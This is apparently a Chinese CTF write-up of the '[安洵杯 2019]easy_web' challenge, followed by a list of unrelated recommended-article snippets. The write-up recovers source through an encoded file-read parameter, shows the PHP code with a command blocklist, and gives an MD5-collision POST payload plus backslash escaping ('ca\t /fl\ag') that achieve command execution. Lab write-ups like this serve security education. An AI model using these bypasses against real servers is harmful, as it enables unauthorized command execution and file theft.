1qazcse
1qazcse

[安洵杯 2019]easy_web 1

文章目录

  • 总结

  1. 打开网页，发现这个链接有点意思

    http://872e4250-c732-4f34-9885-47749e67e42c.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

    这一看就是有意思的，TXpVek5UTTFNbVUzTURabE5qYz0 这个应该是一个base64加密，解密之后为 MzUzNTM1MmU3MDZlNjc= 在解密： 3535352e706e67 这是个什么鬼啊，想了半天可能是十六进制解密的 555.png ，这个也不知道什么用先看后面 有个 cmd ，这意思是会执行 cmd 命令，试一试
    2.

    http://872e4250-c732-4f34-9885-47749e67e42c.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=ls

    [安洵杯 2019]easy_web 1_第1张图片
    这里需要你多刷新，或者直接看页面源代码就可以看到，这个意思是拦截了，这也不知道拦截了那些，返回开始的起点，看看 img 参数可以搞出源代码不

  2. 首先这个 img 参数是一个 555.png 这是读取一个图片，那我们大胆猜测一下我们可以利用这个参数读取源代码 index.php ,创建 payload : http://872e4250-c732-4f34-9885-47749e67e42c.node4.buuoj.cn:81/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
    [安洵杯 2019]easy_web 1_第2张图片对返回的数据解密的：

    
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd']))
        header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));

    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
        echo '';
        die("xixi～ no flag");
    } else {
        $txt = base64_encode(file_get_contents($file));
        echo "";
        echo "
    "    ;
    }
    echo $cmd;
    echo "
    "    ;
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("forbid ~");
        echo "
    "    ;
    } else {
        if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    }

?>
<html>
<style>
    body{
        background:url(./bj.png)  no-repeat center center;
        background-size:cover;
        background-attachment:fixed;
        background-color:#CCCCCC;
    }
</style>
<body>
</body>
</html>

    我们可以知道拦截了那些函数以及该如何绕过，绕过的关键在于 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
    这里的MD5得使用强绕过，不能使用数组绕过，因为这里使用了String强转换，数组都被强制转换为了string(5) “Array”
    使用的 payload :
    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&=

    [安洵杯 2019]easy_web 1_第3张图片

    在这个里面没有我们想要的数据，所以我们可以换一个目录

    [安洵杯 2019]easy_web 1_第4张图片
    我们发现了现在我们要读取，但是基本上所有读取的已经被拦截了，但是在 linux命令中可以加\，所以甚至可以ca\t /fl\ag ，就可以了

总结

  1. 我们有时候要通过一些参数对函数进行大胆的猜有可能会有奇效
  2. 通过一些参数的值猜解，判断是否可以利用

你可能感兴趣的:(笔记,web安全,php)

  • ThinkPHP运行目录设置为public子目录 NightReader 运维
    ThinkPHP是一个快速、兼容和简单的面向对象的PHP框架，它遵循MVC（模型-视图-控制器）设计模式。在ThinkPHP框架中，public目录扮演着非常重要的角色，它被设计为框架的公共访问目录。Public目录设置的原因和解决方案是ThinkPHP框架结构和安全策略的核心部分。原因：1)安全性：将public设为唯一的公共访问目录可以增强应用的安全性。通过限制对框架其他部分的访问，可以防止潜
  • eNSP中AR2220、AR201、AR1220、AR2240、AR3260、Router、NE40E、NE5000E、NE9000、CX路由器学习笔记 learning-striving eNSP笔记eNSP路由器路由器接口VRP
    eNSP中常见华为路由器型号的接口特性详解及横向对比，重点关注接口类型、扩展能力和适用场景：缩写解释：LPU：LineProcessingUnit（线路处理单元）SPU：ServiceProcessingUnit（业务处理单元）PoE：PoweroverEthernet（以太网供电）GE：GigabitEthernet（千兆以太网）FE：FastEthernet（快速以太网）SFP：SmallFo
  • PHP学习案例9 双色球 LOVE RICE php
    <?php//创建一个1-33的红色球号码区数组$red_num=range(1,33);//随机从红色球号码区数组获取6个键$keys=array_rand($red_num,6);//打乱
  • PHP学习案例8 订货单显示 LOVE RICE php
    '主板','price'=>'379','producing'=>'广东','num'=>3),array
  • 探索笔记本EC的奥秘：ITE厂家提供的开源Demo版 曹筱习Dwayne
    探索笔记本EC的奥秘：ITE厂家提供的开源Demo版【下载地址】笔记本EC源代码ITE厂家提供的demo版本仓库提供了一个压缩包，内含笔记本EC（EmbeddedController）的源代码，采用C语言编写。该资源适合电子爱好者学习、研究笔记本EC的工作原理和实现方式。源代码由ITE厂家提供，属于demo版，框架已经搭建完成，一般的电脑厂家通常会基于此demo版进行上电时序、IO配置以及增加一些
  • 常见的排序算法 【复习笔记】 wanjiazhongqi 算法笔记排序
    注意：1.后面的排序算法实现都只考虑升序，对于逆序，只有知道原理，实现很容易2.案例题：题目描述：将读入的N个数从小到大输出(1usingnamespacestd;constintN=1e5+10;inta[N];intn;voidinsert_sort(){//从第二个元素开始，依次枚举待排序元素for(inti=2;itmp&&j>=1){a[j+1]=a[j];j--;}//当出循环时，要么
  • 网络基础-笔记 一夜沐白 网络
    1.互联网创始人互联网之父，指互联网的创始人、发明人，这一美称被先后授予多人，包括：蒂姆·伯纳斯·李（TimBerners-Lee），温顿·瑟夫VintCerf原名：VintonGray"Vint"Cerf罗伯特·卡恩（RobertElliotKahn）等，所以“互联网之父不是一个人，而是一个群体。蒂姆·伯纳斯·李蒂姆·伯纳斯·李（TimBerners-Lee）爵士（1955年出生于英国）是万维网
  • 单调队列学习笔记：滑动窗口最大值，绝对差不超过限制的最长连续子数组 Gravity! leetcode学习笔记单调队列leetcode力扣算法
    学习路线参考：单调队列滑动窗口最大值【基础算法精讲27】_哔哩哔哩_bilibilips：笔记和代码按本人理解整理，重思路【如果笔记对你有帮助，欢迎关注&点赞&收藏，收到正反馈会加快更新！谢谢支持！】上期笔记：单调栈学习笔记（一）：每日温度，接雨水-CSDN博客题目1：滑动窗口最大值239.滑动窗口最大值-力扣（LeetCode）“单调队列+滑动窗口”常同时出现，因为滑动窗口遵循“先来先走”，单调
  • Python实战笔记-删除数据5 MMGNFT K总编程笔记
    importpymysqldb=pymysql.connect(host=“127.0.0.1”,user=‘root’,password=‘11111111’,database=“pymysql_test”,port=3306)cursor=db.cursor()sql=“deletefromarticlewhereid=2”cursor.execute(sql)db.commit()db.cl
  • Linux环境下进行本地Blast比对——操作流程 生信分析笔记 后端
    今天分享一篇学习笔记，主要包含blast序列比对和数据提取方法。首先，需要准备RNA数据和蛋白质数据，本次利用蛋白质数据建立索引库，然后将RNA比对到蛋白质序列。RNA数据创建一个目录，导入mRNA序列数据，通常是一个fasta后缀文件。在工作目录下创建alignment文件夹将mRNA序列数据文件wheat-test.fasta拷贝到/alignment中蛋白质数据新建一个文件夹存放蛋白质序列数
  • 【随笔笔记】将mysql数据迁移到群晖NAS QTEASY量化交易 随笔笔记笔记mysql数据库
    将mysql数据迁移到群晖NAS情况和问题前提条件方法1，使用管道方式传递数据方法2，导出数据为文件，复制到NAS上再导入情况和问题原本大量的金融数据保存在电脑本地硬盘的mysql数据库中，随着数据量越来越大，电脑的硬盘吃紧，正好把我的群晖NAS升级到了DS923+并且增加了4T的存储空间，可以使用Docker安装mysql并且存储空间不再是个问题，因此打算将电脑中的数据全部迁移到群晖NAS中。这
  • php openssl支持的加密算法和加密模式及加密解密示范实例 YUJIANYUE phphtml开发语言
    textarea{width:88%;height:188px;}打印原始未加密数据==>$data";$cipher='aes-128-cbc';//定义加密算法和加密模式$key=openssl_random_pseudo_bytes(128);//生成随机密钥//加密数据$ivlen=openssl_cipher_iv_length($cipher);$iv=openssl_random_p
  • Redis学习笔记 ——（3）哈希结构的用法、内部编码、使用场景 码农小高 Redisredis哈希算法学习
    Redis学习笔记——（3）哈希结构的用法、内部编码、使用场景几乎所有的编程语言都提供了哈希（hash）类型，他们的叫法可能是哈希、字典、关联数组等。在Redis中，哈希类型是指键值本身又是一个键值对结构，例如value={{filed,value},…{filedn,valuen}}.1.哈希的用法HDELkeyfield1[field2]删除一个或多个哈希表字段HEXISTSkeyfield查
  • python读取redis大数据_大数据系列——Redis学习笔记 weixin_39661345
    1.Redis的简介Redis是一个开源(BSD许可)，内存存储的数据结构服务器,可用作数据库，高速缓存和消息队列代理它支持字符串、哈希表、列表、集合、有序集合，位图，hyperloglogs等数据类型内置复制、Lua脚本、LRU收回、事务以及不同级别磁盘持久化功能，同时通过RedisSentinel提供高可用，通过RedisCluster提供自动分区。简言之，Redis是一种面向“键/值”对数据
  • 英伟达DeepStream学习笔记30——kafka和AMQP的区别 翟羽嚄 英伟达TX2/Xavier/deepstream开发kafka学习rabbitmq
    作为消息队列来说，企业中选择mq的还是多数，因为像Rabbit，Rocket等mq中间件都属于很成熟的产品，性能一般但可靠性较强，而kafka原本设计的初衷是日志统计分析，现在基于大数据的背景下也可以做运营数据的分析统计，而redis的主要场景是内存数据库，作为消息队列来说可靠性太差，而且速度太依赖网络IO，在服务器本机上的速度较快，且容易出现数据堆积的问题，在比较轻量的场合下能够适用。Rabbi
  • Redis学习笔记之——学习计划 Jack_abu redisredis学习redis学习计划
    Redis——RemoteDictionaryServer，开源、基于内存、速度快、key-value...Redis做为一个高性能的键值存储系统，广泛应用于缓存、会话存储、分布式锁以及其他需要快速访问的数据场景中。熟悉掌握redis，似乎已成为广大码农们必备的一项技能。下面是我的一个redis的学习计划，开启我的redis学习之旅~一、基础数据类型深入学习Redis的五种基本数据类型：字符串（S
  • 部署Wordpress(LNMP)+ELK 多练项目 Linux系统架构linuxelk运维
    LNMP+EFK主机软件服务版本主机名192.168.100.100Nginx-1.18、Filebeatnode100192.168.100.101PHP-5.6.27node101192.168.100.102MySQL5.7node102192.168.100.103Kafkakafka103192.168.100.104Kafkanode104192.168.100.105Kafkanod
  • Nginx流媒体服务器搭建 AKZ_LZ studynginx服务器
    1.基础包下载1.1基础清单版本系统版本：CentOS7.6Nginx版本：1.20.1nginx-vod-module版本：1.29Nginx安装方面可以看我的另一篇文章Nginx笔记注意各个组件版本，可能会产生一些版本冲突1.2nginx-vod-module下载nginx点播模块，支持自动切片等功能，详细可直接去项目Gitwgethttps://github.com/kaltura/ngin
  • 【软考速通笔记】系统架构设计师⑧——系统质量属性与架构评估 小康师兄 系统架构设计师笔记系统架构架构架构评估质量属性质量属性场景ATAM
    文章目录一、前言二、软件系统质量属性2.1开发期质量属性2.2运行期质量属性三、质量属性场景描述四、系统架构评估方法4.1方法分类4.2软件架构分析方法4.3架构权衡分析法4.4成本效益分析法五、其他一、前言笔记目录大纲请查阅：【软考速通笔记】系统架构设计师——导读关注【小康师兄】微信公众号，回复【系统架构设计师】即可获取PDF和详细教程。二、软件系统质量属性2.1开发期质量属性易理解性：指软件系
  • 中科大《计算机网络》1.1什么是Internet笔记 镜中人★ 中科大计算机网络笔记计算机网络笔记网络
    什么是Internet1.网络核心概念与术语‌‌1.1网络与互联网的本质区别‌‌对比维度‌‌网络（Network）‌‌互联网（Internet）‌‌定义‌任意互连的计算设备集合（如局域网）由多个网络通过路由器互联形成的全球性网际网络‌组成‌单一管理域内的设备（如企业网）跨管理域的网络联盟（如ISP、跨国企业网）‌协议标准‌可自定义（如私有协议）强制遵循TCP/IP协议簇‌典型示例‌家庭WiFi、校
  • 《Operating System Concepts》阅读笔记：p177-p178 操作系统
    《OperatingSystemConcepts》学习第18天，p177-p178总结，总计2页。一、技术总结1.implicitthreadAprogrammingmodelthattransfersthecreationandmanagementofthreadingfromapplicationdeveloperstocompilersandrun-timelibraries.2.threa
  • 中科大 计算机网络原理 第一章 1.6分组延迟、丢失和吞吐量 笔记 镜中人★ 中科大计算机网络笔记计算机网络笔记智能路由器
    分组延时、丢失和吞吐量笔记一、分组丢失及其原因‌分组丢失原因‌：路由器中的每条链路都对应一个队列。分组通过查路由表决定通过哪条队列和链路传输。如果队列已满，新到的分组将被丢弃。‌为什么队列不能无限长‌：太长的队列会导致传输延迟过高，用户无法忍受。网络传输有一个延迟上限，超过这个上限即使分组到达也变得没有意义。二、分组传输的延迟类型‌处理延迟‌：路由器检查分组错误、提取目标IP地址、查路由表及处理其
  • php 设置redis 哈希,Redis 哈希(Hash) weixin_39893042 php设置redis哈希
    Redishash是一个string类型的field和value的映射表，hash特别适合用于存储对象。Redis中每个hash可以存储232-1键值对(40多亿)。实例redis127.0.0.1:6379>HMSETw3ckeyname"redistutorial"description"redisbasiccommandsforcaching"likes20visitors23000OKre
  • php设定页面权限，必须正确登录才能访问指定页面 SugarFreeOixi php开发语言后端
    为了防止直接用域名就能访问需要账号密码正确才能进入的php网页，这里给出了一个方法。前提：建立好了数据库的连接，有了搭建好的网页。登录页面：（需求）已经连好了数据库，当用户名以及密码正确才能跳转到指定页面但是，遇到了一个问题：比如说，首页为index.php,指定页面为：www/yuming.cn/file1/chengji.php,我们完全可以通过www.yuming.cn/file1/chen
  • 《算法笔记》9.6小节 数据结构专题(2)并查集 问题 C: How Many Tables 圣保罗的大教堂 《算法笔记》算法
    题目描述TodayisIgnatius'birthday.Heinvitesalotoffriends.Nowit'sdinnertime.Ignatiuswantstoknowhowmanytablesheneedsatleast.Youhavetonoticethatnotallthefriendsknoweachother,andallthefriendsdonotwanttostaywit
  • C语言初阶教学----分支和循环（1） xiaoye_0 c语言c++经验分享职场和发展开发语言
    前言对于一个C语言菜鸟来说，说出这些话无疑是大言不惭的，但我有信心也有能力为大家讲好C语言，系统的带大家入门C语言，也希望大家能够相信我，支持我，在接下来的几个月中，我会持续更新这个系列，当然，我的笔记也会同步更新的，感谢大家的支持！如果觉得内容还不错的话，点一个小小的赞和支持吧！课前准备内容总览：分支语句ifswitch循环语句whilefordowhile相信大家都听说过一句话是：C语言是结构
  • thinkphp think-captcha 前后端分离 图形验证码 fendouweiqian thinkphp
    think-captcha本身支持API接口的形式返回，可以看到源代码：ob_start();//输出图像imagepng($this->im);$content=ob_get_clean();imagedestroy($this->im);//API调用模式if($this->api){return['code'=>implode('',$text),'img'=>'data:image/png
  • 论文阅读笔记2 sixfrogs 论文阅读笔记论文阅读cnn
    OptimizingMemoryEfficiencyforDeepConvolutionalNeuralNetworksonGPUs1论文简介作者研究了CNN各层的访存效率，并揭示了数据结构和访存模式对CNN的性能影响。并提出了优化方法。2方法介绍2.1Benchmarks数据集：MNIST，CIFAR，ImageNetCNN：AlexNet，ZFNet，VGG2.2实验设置CPU：IntelXe
  • 嵌入式综合-心得与笔记【1】 sakura_sea EmbeddedsystemandHPC嵌入式
    文章目录时域信号时域转频域信号傅里叶变换将时域信号转换为频域信号快速傅里叶变换FFT计算离散傅里叶变换参考文献时域信号importnumpyasnpimportmatplotlib.pyplotasplt#设置Matplotlib支持中文plt.rcParams['font.sans-serif']=['SimHei']#设置字体为SimHeiplt.rcParams['axes.unicode_
  • 大模型隐空间推理论文阅读笔记 猴猴猪猪 AIGCpython实验记录人工智能深度学习
    文章目录TrainingLargeLanguageModelstoReasoninaContinuousLatentSpace一.简介1.1摘要1.2引言TrainingLargeLanguageModelstoReasoninaContinuousLatentSpace一.简介机构：Meta代码：任务:特点:方法:1.1摘要现状：大语言模型往往局限在“languagespace"进行推理，在解决
  • log4j对象改变日志级别 3213213333332132 javalog4jlevellog4j对象名称日志级别
    log4j对象改变日志级别可批量的改变所有级别，或是根据条件改变日志级别。 log4j配置文件： log4j.rootLogger=ERROR,FILE,CONSOLE,EXECPTION #log4j.appender.FILE=org.apache.log4j.RollingFileAppender log4j.appender.FILE=org.apache.l
  • elk+redis 搭建nginx日志分析平台 ronin47 elasticsearchkibanalogstash
                 elk+redis 搭建nginx日志分析平台 logstash,elasticsearch,kibana 怎么进行nginx的日志分析呢？首先，架构方面，nginx是有日志文件的，它的每个请求的状态等都有日志文件进行记录。其次，需要有个队 列，redis的l
  • Yii2设置时区 dcj3sjt126com PHPtimezoneyii2
    时区这东西，在开发的时候，你说重要吧，也还好，毕竟没它也能正常运行，你说不重要吧，那就纠结了。特别是linux系统，都TMD差上几小时，你能不痛苦吗？win还好一点。有一些常规方法，是大家目前都在采用的1、php.ini中的设置，这个就不谈了，2、程序中公用文件里设置，date_default_timezone_set一下时区3、或者。。。自己写时间处理函数，在遇到时间的时候，用这个函数处理（比较
  • js实现前台动态添加文本框，后台获取文本框内容 171815164 文本框
    <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://w
  • 持续集成工具 g21121 持续集成
            持续集成是什么？我们为什么需要持续集成？持续集成带来的好处是什么？什么样的项目需要持续集成？...        持续集成(Continuous integration ,简称CI)，所谓集成可以理解为将互相依赖的工程或模块合并成一个能单独运行
  • 数据结构哈希表(hash)总结 永夜-极光 数据结构
    1.什么是hash 来源于百度百科: Hash，一般翻译做“散列”，也有直接音译为“哈希”的，就是把任意长度的输入，通过散列算法，变换成固定长度的输出，该输出就是散列值。这种转换是一种压缩映射，也就是，散列值的空间通常远小于输入的空间，不同的输入可能会散列成相同的输出，所以不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。  
  • 乱七八糟 程序员是怎么炼成的
    eclipse中的jvm字节码查看插件地址： http://andrei.gmxhome.de/eclipse/ 安装该地址的outline 插件  后重启，打开window下的view下的bytecode视图 http://andrei.gmxhome.de/eclipse/   jvm博客： http://yunshen0909.iteye.com/blog/2
  • 职场人伤害了“上司” 怎样弥补 aijuans 职场
    由于工作中的失误，或者平时不注意自己的言行“伤害”、“得罪”了自己的上司，怎么办呢？ 　　在职业生涯中这种问题尽量不要发生。下面提供了一些解决问题的建议： 　　一、利用一些轻松的场合表示对他的尊重 　　即使是开明的上司也很注重自己的权威，都希望得到下属的尊重，所以当你与上司冲突后，最好让不愉快成为过去，你不妨在一些轻松的场合，比如会餐、联谊活动等，向上司问个好，敬下酒，表示你对对方的尊重，
  • 深入浅出url编码 antonyup_2006 应用服务器浏览器servletweblogicIE
    出处：http://blog.csdn.net/yzhz  杨争   http://blog.csdn.net/yzhz/archive/2007/07/03/1676796.aspx 一、问题：         编码问题是JAVA初学者在web开发过程中经常会遇到问题，网上也有大量相关的
  • 建表后创建表的约束关系和增加表的字段 百合不是茶 标的约束关系增加表的字段
      下面所有的操作都是在表建立后操作的,主要目的就是熟悉sql的约束,约束语句的万能公式   1,增加字段(student表中增加 姓名字段)   alter table 增加字段的表名 add 增加的字段名 增加字段的数据类型 alter table student add name varchar2(10);   &nb
  • Uploadify 3.2 参数属性、事件、方法函数详解 bijian1013 JavaScriptuploadify
    一.属性 属性名称 默认值 说明 auto true 设置为true当选择文件后就直接上传了，为false需要点击上传按钮才上传。 buttonClass ” 按钮样式 buttonCursor ‘hand’ 鼠标指针悬停在按钮上的样子 buttonImage null 浏览按钮的图片的路
  • 精通Oracle10编程SQL(16)使用LOB对象 bijian1013 oracle数据库plsql
    /* *使用LOB对象 */ --LOB(Large Object)是专门用于处理大对象的一种数据类型，其所存放的数据长度可以达到4G字节 --CLOB/NCLOB用于存储大批量字符数据，BLOB用于存储大批量二进制数据，而BFILE则存储着指向OS文件的指针 /* *综合实例 */ --建立表空间 --#指定区尺寸为128k,如不指定，区尺寸默认为64k CR
  • 【Resin一】Resin服务器部署web应用 bit1129 resin
    工作中，在Resin服务器上部署web应用，通常有如下三种方式：   配置多个web-app 配置多个http id 为每个应用配置一个propeties、xml以及sh脚本文件 配置多个web-app   在resin.xml中,可以为一个host配置多个web-app   <cluster id="app&q
  • red5简介及基础知识 白糖_ 基础
      简介   Red5的主要功能和Macromedia公司的FMS类似，提供基于Flash的流媒体服务的一款基于Java的开源流媒体服务器。它由Java语言编写，使用RTMP作为流媒体传输协议，这与FMS完全兼容。它具有流化FLV、MP3文件，实时录制客户端流为FLV文件，共享对象，实时视频播放、Remoting等功能。用Red5替换FMS后,客户端不用更改可正
  • angular.fromJson boyitech AngularJSAngularJS 官方APIAngularJS API
    angular.fromJson 描述: 把Json字符串转为对象 使用方法: angular.fromJson(json); 参数详解: Param Type Details json string JSON 字符串 返回值: 对象, 数组, 字符串 或者是一个数字 示例: <!DOCTYPE HTML> <h
  • java-颠倒一个句子中的词的顺序。比如： I am a student颠倒后变成：student a am I bylijinnan java
    public class ReverseWords { /** * 题目：颠倒一个句子中的词的顺序。比如： I am a student颠倒后变成：student a am I.词以空格分隔。 * 要求： * 1.实现速度最快,移动最少 * 2.不能使用String的方法如split,indexOf等等。 * 解答：两次翻转。 */ publ
  • web实时通讯 Chen.H Web浏览器socket脚本
    关于web实时通讯，做一些监控软件。 由web服务器组件从消息服务器订阅实时数据，并建立消息服务器到所述web服务器之间的连接，web浏览器利用从所述web服务器下载到web页面的客户端代理与web服务器组件之间的socket连接，建立web浏览器与web服务器之间的持久连接；利用所述客户端代理与web浏览器页面之间的信息交互实现页面本地更新，建立一条从消息服务器到web浏览器页面之间的消息通路
  • [基因与生物]远古生物的基因可以嫁接到现代生物基因组中吗? comsci 生物
          大家仅仅把我说的事情当作一个IT行业的笑话来听吧..没有其它更多的意思     如果我们把大自然看成是一位伟大的程序员,专门为地球上的生态系统编制基因代码,并创造出各种不同的生物来,那么6500万年前的程序员开发的代码,是否兼容现代派的程序员的代码和架构呢?   
  • oracle 外部表 daizj oracle外部表external tables
        oracle外部表是只允许只读访问，不能进行DML操作，不能创建索引，可以对外部表进行的查询，连接，排序，创建视图和创建同义词操作。 you can select, join, or sort external table data. You can also create views and synonyms for external tables. Ho
  • aop相关的概念及配置 daysinsun AOP
    切面(Aspect): 通常在目标方法执行前后需要执行的方法（如事务、日志、权限），这些方法我们封装到一个类里面，这个类就叫切面。 连接点（joinpoint） spring里面的连接点指需要切入的方法，通常这个joinpoint可以作为一个参数传入到切面的方法里面（非常有用的一个东西）。 通知（Advice） 通知就是切面里面方法的具体实现，分为前置、后置、最终、异常环
  • 初一上学期难记忆单词背诵第二课 dcj3sjt126com englishword
    middle 中间的，中级的 well 喔，那么；好吧 phone 电话，电话机 policeman 警察 ask 问 take 拿到；带到 address 地址 glad 高兴的，乐意的 why 为什么  China 中国 family 家庭 grandmother (外)祖母 grandfather (外)祖父 wife 妻子 husband 丈夫 da
  • Linux日志分析常用命令 dcj3sjt126com linuxlog
    1.查看文件内容 cat -n 显示行号 2.分页显示 more Enter 显示下一行 空格 显示下一页 F 显示下一屏 B 显示上一屏 less /get 查询"get"字符串并高亮显示 3.显示文件尾 tail -f 不退出持续显示 -n 显示文件最后n行 4.显示头文件 head -n 显示文件开始n行 5.内容排序 sort -n 按照
  • JSONP 原理分析 fantasy2005 JavaScriptjsonpjsonp 跨域
    转自 http://www.nowamagic.net/librarys/veda/detail/224 JavaScript是一种在Web开发中经常使用的前端动态脚本技术。在JavaScript中，有一个很重要的安全性限制，被称为“Same-Origin Policy”（同源策略）。这一策略对于JavaScript代码能够访问的页面内容做了很重要的限制，即JavaScript只能访问与包含它的
  • 使用connect by进行级联查询 234390216 oracle查询父子Connect by级联
    使用connect by进行级联查询          connect by可以用于级联查询，常用于对具有树状结构的记录查询某一节点的所有子孙节点或所有祖辈节点。          来看一个示例，现假设我们拥有一个菜单表t_menu，其中只有三个字段：
  • 一个不错的能将HTML表格导出为excel,pdf等的jquery插件 jackyrong jquery插件
    发现一个老外写的不错的jquery插件，可以实现将HTML 表格导出为excel,pdf等格式， 地址在： https://github.com/kayalshri/ 下面看个例子，实现导出表格到excel,pdf <html> <head> <title>Export html table to excel an
  • UI设计中我们为什么需要设计动效 lampcy UIUI设计
    关于Unity3D中的Shader的知识 首先先解释下Unity3D的Shader，Unity里面的Shaders是使用一种叫ShaderLab的语言编写的，它同微软的FX文件或者NVIDIA的CgFX有些类似。传统意义上的vertex shader和pixel shader还是使用标准的Cg/HLSL 编程语言编写的。因此Unity文档里面的Shader，都是指用ShaderLab编写的代码，
  • 如何禁止页面缓存 nannan408 htmljspcache
    禁止页面使用缓存~ ------------------------------------------------ jsp:页面no cache： response.setHeader("Pragma","No-cache"); response.setHeader("Cache-Control","no-cach
  • 以代码的方式管理quartz定时任务的暂停、重启、删除、添加等 Everyday都不同 定时任务管理spring-quartz
          【前言】在项目的管理功能中，对定时任务的管理有时会很常见。因为我们不能指望只在配置文件中配置好定时任务就行了，因为如果要控制定时任务的 “暂停” 呢？暂停之后又要在某个时间点 “重启” 该定时任务呢？或者说直接 “删除” 该定时任务呢？要改变某定时任务的触发时间呢？ “添加” 一个定时任务对于系统的使用者而言，是不太现实的，因为一个定时任务的处理逻辑他是不
  • EXT实例 tntxia ext
      （1） 增加一个按钮   JSP:   <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <% String path = request.getContextPath(); Stri
  • 数学学习在计算机研究领域的作用和重要性 xjnine Math
    最近一直有师弟师妹和朋友问我数学和研究的关系，研一要去学什么数学课。毕竟在清华，衡量一个研究生最重要的指标之一就是paper,而没有数学，是肯定上不了世界顶级的期刊和会议的，这在计算机学界尤其重要！你会发现，不论哪个领域有价值的东西，都一定离不开数学！在这样一个信息时代，当google已经让世界没有秘密的时候，一种卓越的数学思维，绝对可以成为你的核心竞争力.  无奈本人实在见地
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他